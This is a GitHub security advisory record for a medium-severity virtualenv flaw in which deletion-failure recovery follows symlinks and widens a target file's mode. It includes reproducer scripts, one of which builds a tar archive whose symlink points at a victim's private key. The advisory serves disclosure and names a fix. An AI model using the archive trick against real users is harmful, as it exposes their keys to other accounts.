{"schema_version":"1.9.0","id":"GHSA-43mp-35q3-x3fq","published":"2026-10-21T21:31:34Z","modified":"2026-10-21T21:45:08.336443737Z","aliases":["CVE-2026-113724"],"summary":"virtualenv: Deletion recovery can change a symlink target's mode","details":"## Summary\n\nThe deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows\nsymlinks. On an eligible unlink failure this can change permissions outside the destination.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermission recovery after a filesystem deletion error.\n\n## Attacker-controlled input\n\nA deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have\npermission to change the target mode. This is conditional error handling, not the normal successful unlink path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\n`safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler\ncalls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link's\nmode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target's mode to become\n`0777` before the retry fails. The target must be owned by the invoking user and initially not writable by that user;\nroot does not reach this failure path.\n\n## Reproduction and evidence\n\nThe scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to\nthe user's mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and\n`virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the\nkey's mode changed from `0400` to `0777`. A control archive with a writable directory completed normally and left the\nkey at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup.\n\nThis changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the\nwidened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to\n#3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on\ndeletion failure and handles Windows read-only entries without following reparse points.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared read-only venv tree\n    participant V as safe_delete error handler\n    participant L as Symlink in venv\n    participant K as User's 0400 key\n    A->>V: virtualenv venv or --clear venv\n    V->>L: unlink fails in 0555 directory\n    V->>L: lstat returns link mode 0777\n    V->>L: chmod follows symlink\n    L->>K: target mode becomes 0777\n    V-->>A: retry fails with PermissionError\n    Note over K: Other accounts can use new mode if parent paths are traversable\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\n\nNOBODY = 65534\n\nwork = Path(tempfile.mkdtemp(prefix=\"repro-safe-delete-\"))\nos.chmod(work, 0o755)\nos.chown(work, NOBODY, NOBODY)\n\n# the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable\nmake_archive = [sys.executable, \"/tmp/repro.d/make_project_archive.py\"]\nsubprocess.run([*make_archive, work / \"read-only.tar\", \"555\"], check=True)\nsubprocess.run([*make_archive, work / \"writable.tar\", \"755\"], check=True)\nsubprocess.run([\"tar\", \"-tvf\", work / \"read-only.tar\"], check=True)\n\n# from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run\nos.setgroups([])\nos.setgid(NOBODY)\nos.setuid(NOBODY)\nos.umask(0o022)\n\n\ndef unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):\n    home = work / home_name\n    archive = work / archive_name\n    key = home / \"keys\" / \"deploy.pem\"\n    key.parent.mkdir(parents=True)\n    key.write_text(\"PRIVATE KEY\\n\")\n    key.chmod(0o400)\n    subprocess.run([\"tar\", \"-xf\", archive], cwd=home, check=True)\n\n    mode_before = stat.S_IMODE(key.stat().st_mode)\n    command = [\"virtualenv\", \"--no-periodic-update\", \"-q\", *options, \"venv\"]\n    # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it\n    result = subprocess.run(\n        command,\n        cwd=home / \"proj\",\n        env={**os.environ, \"HOME\": str(home)},\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        text=True,\n    )\n    mode_after = stat.S_IMODE(key.stat().st_mode)\n\n    print(f\"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}\")\n    print(f\"{label} {key} mode {mode_before:#o} -> {mode_after:#o}\")\n    return mode_before, mode_after\n\n\ncontrol = unpack_next_to_key_and_run_virtualenv(\"CONTROL \", \"home-control\", \"writable.tar\")\ndefault = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-default\", \"read-only.tar\")\nclear = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-clear\", \"read-only.tar\", \"--clear\")\n\n# check: the key lives outside the destination; virtualenv has no business changing its mode\nprint(\"BUG\" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else \"OK\")\n```\n\n**`repro.d/make_project_archive.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nimport tarfile\n\narchive_path = sys.argv[1]\npython_folder_mode = int(sys.argv[2], 8)\n\nwith tarfile.open(archive_path, \"w\") as archive:\n    python_folder = tarfile.TarInfo(\"proj/venv/bin/python\")\n    python_folder.type = tarfile.DIRTYPE\n    python_folder.mode = python_folder_mode  # without the write bit, unlinking an entry inside it fails with EACCES\n    archive.addfile(python_folder)\n\n    link = tarfile.TarInfo(\"proj/venv/bin/python/entry\")\n    link.type = tarfile.SYMTYPE\n    link.linkname = \"../../../../keys/deploy.pem\"  # the victim's key, beside the unpacked proj/\n    archive.addfile(link)\n```\n\n## Impact\n\nPermission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion\nfailure to occur on a link and the invoking user to have permission to change the target mode.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that\nopens the entry itself without following reparse points and denies replacement until the attribute update finishes. It\nrejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains\noutside this protection.\n\nFix: [PR #3427](https://github.com/pypa/virtualenv/pull/3427).\n\n## Known mitigation\n\nAvoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before\nretrying with broader privileges.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-43mp-35q3-x3fq/GHSA-43mp-35q3-x3fq.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-43mp-35q3-x3fq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113724"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3427"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/2bfdc0230d1b2685fedfcfe66c835b9a2ec7c440"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-59"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T21:31:34Z","nvd_published_at":"2026-10-20T20:17:19Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]}